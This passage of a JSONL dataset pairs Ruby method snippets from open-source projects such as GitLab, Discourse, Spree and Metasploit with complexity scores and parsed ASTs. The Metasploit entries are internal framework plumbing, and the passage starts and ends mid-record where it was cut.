clients\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"class\"]},\"table_name\"]},\"match\",{\"type\":\"str\",\"children\":[\"::\"]}]},{\"type\":\"str\",\"children\":[\"Firm shouldn't have the module appear in its table name\"]}]}]}]}","id":"8fa36d78-f4ae-4b96-b219-18eda1090782"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/generic.rb","start_line":46,"raw_source":"def generate(_opts = {})\n    reset\n\n    redirect_to_actual(:generate)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_actual\",{\"type\":\"sym\",\"children\":[\"generate\"]}]}]}]}","id":"eee81303-f893-4d7a-a930-59070c2fb089"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/country_to_timezone.rb","start_line":257,"raw_source":"def from_timezone_helper(code)\n      timezones = ActiveSupport::TimeZone.country_zones(code)\n      return 'Central Time (US & Canada)' if timezones.empty?\n\n      timezones.first.name if timezones.size == 1\n\n      # If there is more than one timezone for the country, then we'll use the capital city\n      # to determine the timezone\n      # eg GB has London and Edinburgh\n      capital_city = CAPITAL_CITIES[code]\n      capital_city_time_zone = timezones.find{ |tz| tz.name.match(capital_city) }\n      return capital_city_time_zone.name if capital_city_time_zone.present?\n\n      timezones.first.name\n    end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"from_timezone_helper\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timezones\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"country_zones\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezones\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Central Time (US & Canada)\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezones\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezones\"]},\"first\"]},\"name\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"capital_city\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CAPITAL_CITIES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"capital_city_time_zone\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezones\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tz\"]},\"name\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"capital_city\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capital_city_time_zone\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capital_city_time_zone\"]},\"name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezones\"]},\"first\"]},\"name\"]}]}]}","id":"50eb674d-5a58-45e3-b48d-1a318cfc1f36"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/call_data.rb","start_line":45,"raw_source":"def decode(io)\n            stream = Rex::Java::Serialization::Model::Stream.decode(io)\n\n            block_data = stream.contents[0]\n            block_data_io = StringIO.new(block_data.contents, 'rb')\n\n            self.object_number = decode_object_number(block_data_io)\n            self.uid = decode_uid(block_data_io)\n            self.operation = decode_operation(block_data_io)\n            self.hash = decode_hash(block_data_io)\n            self.arguments = []\n\n            stream.contents[1..stream.contents.length - 1].each do |content|\n              self.arguments << content\n            end\n\n            self\n          end","complexity_score":29.95,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"Stream\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"block_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"contents\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"block_data_io\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_data\"]},\"contents\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"object_number=\",{\"type\":\"send\",\"children\":[null,\"decode_object_number\",{\"type\":\"lvar\",\"children\":[\"block_data_io\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uid=\",{\"type\":\"send\",\"children\":[null,\"decode_uid\",{\"type\":\"lvar\",\"children\":[\"block_data_io\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"operation=\",{\"type\":\"send\",\"children\":[null,\"decode_operation\",{\"type\":\"lvar\",\"children\":[\"block_data_io\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hash=\",{\"type\":\"send\",\"children\":[null,\"decode_hash\",{\"type\":\"lvar\",\"children\":[\"block_data_io\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arguments=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"contents\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"contents\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arguments\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"2a551677-cb9e-44d9-9426-7f9cacbb8ab5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-user-notes/lib/discourse_user_notes/engine.rb","start_line":40,"raw_source":"def self.remove_note(user, note_id)\n    notes = notes_for(user.id)\n    notes.reject! { |n| n[:id] == note_id }\n\n    if notes.size > 0\n      ::PluginStore.set(\"user_notes\", key_for(user.id), notes)\n    else\n      ::PluginStore.remove(\"user_notes\", key_for(user.id))\n    end\n    user.custom_fields[DiscourseUserNotes::COUNT_FIELD] = notes.size\n    user.save_custom_fields\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remove_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"note_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"send\",\"children\":[null,\"notes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"note_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PluginStore\"]},\"set\",{\"type\":\"str\",\"children\":[\"user_notes\"]},{\"type\":\"send\",\"children\":[null,\"key_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PluginStore\"]},\"remove\",{\"type\":\"str\",\"children\":[\"user_notes\"]},{\"type\":\"send\",\"children\":[null,\"key_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"custom_fields\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUserNotes\"]},\"COUNT_FIELD\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"save_custom_fields\"]}]}]}","id":"8eae3ec7-8adc-42f1-81c3-fb08bfde9e41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb","start_line":34,"raw_source":"def click_test_then_save_integration(expect_test_to_fail: true)\n    click_test_integration\n\n    page.within('.b-toaster') do\n      if expect_test_to_fail\n        expect(page).to have_content('Connection failed.')\n      else\n        expect(page).to have_content('Connection successful.')\n      end\n\n      # dismiss toast to have \"Save changes\" button is visible\n      click_button('Close')\n    end\n\n    click_save_integration\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_test_then_save_integration\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"expect_test_to_fail\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_test_integration\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\".b-toaster\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect_test_to_fail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"str\",\"children\":[\"Connection failed.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"str\",\"children\":[\"Connection successful.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Close\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_save_integration\"]}]}]}","id":"9b4e9974-5358-4b61-aafc-866d30bdec23"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/visible_filter.rb","start_line":62,"raw_source":"def validate_only_single_value\n    errors.add(:values, :invalid) if values.length != 1\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_only_single_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]},null]}]}","id":"4c014790-d15a-4dee-8ab7-0080a0cc291e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web.rb","start_line":129,"raw_source":"def self.call(env)\n      @app ||= new\n      @app.call(env)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\"]},{\"type\":\"send\",\"children\":[null,\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"ac7cda00-3160-43ca-9ad2-8785f2bb59d5"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice.rb","start_line":643,"raw_source":"def resolve(...)\n        container.resolve(...)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"resolve\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"0d39b66b-e473-4233-9dba-c05e53f9d5c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_perf_testdata.rb","start_line":26,"raw_source":"def all\n        $stdout.puts 'Running...'\n        group_id = create_group\n        create_project(group_id)\n\n        create_many_branches\n        create_many_new_files\n        create_mr_with_many_commits\n        create_many_issues\n\n        methods_arr = [\n          method(:create_many_labels),\n          method(:create_many_todos),\n          method(:create_many_merge_requests),\n          method(:create_an_issue_with_many_discussions),\n          method(:create_an_mr_with_large_files_and_many_mr_discussions)\n        ]\n\n        threads_arr = []\n\n        methods_arr.each do |m|\n          threads_arr << Thread.new { m.call }\n        end\n\n        threads_arr.each(&:join)\n        $stdout.puts \"\\nURLs: #{@urls}\"\n        File.open(\"urls.yml\", \"w\") { |file| file.puts @urls.stringify_keys.to_yaml }\n        $stdout.puts \"\\nDone\"\n      end","complexity_score":32.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"str\",\"children\":[\"Running...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group_id\",{\"type\":\"send\",\"children\":[null,\"create_group\"]}]},{\"type\":\"send\",\"children\":[null,\"create_project\",{\"type\":\"lvar\",\"children\":[\"group_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_many_branches\"]},{\"type\":\"send\",\"children\":[null,\"create_many_new_files\"]},{\"type\":\"send\",\"children\":[null,\"create_mr_with_many_commits\"]},{\"type\":\"send\",\"children\":[null,\"create_many_issues\"]},{\"type\":\"lvasgn\",\"children\":[\"methods_arr\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"create_many_labels\"]}]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"create_many_todos\"]}]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"create_many_merge_requests\"]}]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"create_an_issue_with_many_discussions\"]}]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"create_an_mr_with_large_files_and_many_mr_discussions\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"threads_arr\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods_arr\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads_arr\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"call\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads_arr\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"join\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nURLs: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@urls\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"str\",\"children\":[\"urls.yml\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@urls\"]},\"stringify_keys\"]},\"to_yaml\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"str\",\"children\":[\"\\nDone\"]}]}]}]}","id":"af7c5ed7-4066-431d-8f1f-037fd4487610"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/timeline_text_and_date_time_separator.rb","start_line":43,"raw_source":"def date_time_present?\n        DATETIME_REGEX =~ @timeline_date_string || TIME_REGEX =~ @timeline_date_string\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"date_time_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DATETIME_REGEX\"]},\"=~\",{\"type\":\"ivar\",\"children\":[\"@timeline_date_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIME_REGEX\"]},\"=~\",{\"type\":\"ivar\",\"children\":[\"@timeline_date_string\"]}]}]}]}","id":"1a2f6914-a8a0-42fa-9503-9ff008f76acd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_numeric_operation.rb","start_line":56,"raw_source":"def on_op_asgn(node)\n          return unless useless_abbreviated_assignment?(node)\n\n          variable, operation, number = useless_abbreviated_assignment?(node)\n          return unless useless?(operation, number)\n\n          add_offense(node) do |corrector|\n            corrector.replace(node, \"#{variable} = #{variable}\")\n          end\n        end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_op_asgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"useless_abbreviated_assignment?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"variable\"]},{\"type\":\"lvasgn\",\"children\":[\"operation\"]},{\"type\":\"lvasgn\",\"children\":[\"number\"]}]},{\"type\":\"send\",\"children\":[null,\"useless_abbreviated_assignment?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"useless?\",{\"type\":\"lvar\",\"children\":[\"operation\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]}]}]}]}]}]}]}","id":"f7aed6a3-a1c9-488a-94de-cd5951aae519"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/cleanup_service.rb","start_line":26,"raw_source":"def cleanup_after(project)\n        project.bfg_object_map.remove!\n        project.set_repository_writable!\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_after\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"bfg_object_map\"]},\"remove!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"set_repository_writable!\"]}]}]}","id":"f802c6ce-57f0-40f9-b1a4-96558941b184"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/url_builder.rb","start_line":133,"raw_source":"def wiki_url(wiki, **options)\n        return wiki_page_url(wiki, Wiki::HOMEPAGE, **options) unless options[:action]\n\n        if wiki.container.is_a?(Project)\n          options[:controller] = 'projects/wikis'\n          options[:namespace_id] = wiki.container.namespace\n          options[:project_id] = wiki.container\n        end\n\n        instance.url_for(**options)\n      end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wiki\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page_url\",{\"type\":\"lvar\",\"children\":[\"wiki\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Wiki\"]},\"HOMEPAGE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki\"]},\"container\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"projects/wikis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki\"]},\"container\"]},\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki\"]},\"container\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"e03f951e-63bc-4403-ba81-5446d846ea70"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/preview_markdown.rb","start_line":45,"raw_source":"def wikis_filter_params\n    {\n      pipeline: :wiki,\n      wiki: wiki,\n      page_slug: params[:id],\n      repository: wiki.repository,\n      issuable_reference_expansion_enabled: true\n    }\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wikis_filter_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"sym\",\"children\":[\"wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wiki\"]},{\"type\":\"send\",\"children\":[null,\"wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki\"]},\"repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuable_reference_expansion_enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"9736b6cd-4437-4ed3-abd4-c0c53b4544a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/plugin.rb","start_line":97,"raw_source":"def input\n    opts['LocalInput']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"input\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LocalInput\"]}]}]}","id":"b5d43ba8-5a48-4bcd-8128-8af88f90b6a9"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/binder.rb","start_line":69,"raw_source":"def close\n      @ios.each { |i| i.close }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ios\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"close\"]}]}]}","id":"c5509cf1-43b6-43f0-9fa7-463726131097"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vbulletin5.rb","start_line":761,"raw_source":"def import_tags\n    puts \"\", \"importing tags...\"\n\n    SiteSetting.tagging_enabled = true\n    SiteSetting.max_tags_per_topic = 100\n    staff_guardian = Guardian.new(Discourse.system_user)\n\n    records = mysql_query(<<~SQL).to_a\n      SELECT nodeid, GROUP_CONCAT(tagtext) tags\n      FROM #{DB_PREFIX}tag t\n      LEFT JOIN #{DB_PREFIX}tagnode tn ON tn.tagid = t.tagid\n      WHERE t.tagid IS NOT NULL\n      AND tn.nodeid IS NOT NULL\n      GROUP BY nodeid\n    SQL\n\n    current_count = 0\n    total_count = records.count\n\n    records.each do |rec|\n      current_count += 1\n      print_status current_count, total_count\n      tl = topic_lookup_from_imported_post_id(\"thread-#{rec[\"nodeid\"]}\")\n      next if tl.nil? # topic might have been deleted\n\n      topic = Topic.find(tl[:topic_id])\n      tag_names = rec[\"tags\"].force_encoding(\"UTF-8\").split(\",\")\n      DiscourseTagging.tag_topic_by_names(topic, staff_guardian, tag_names)\n    end\n  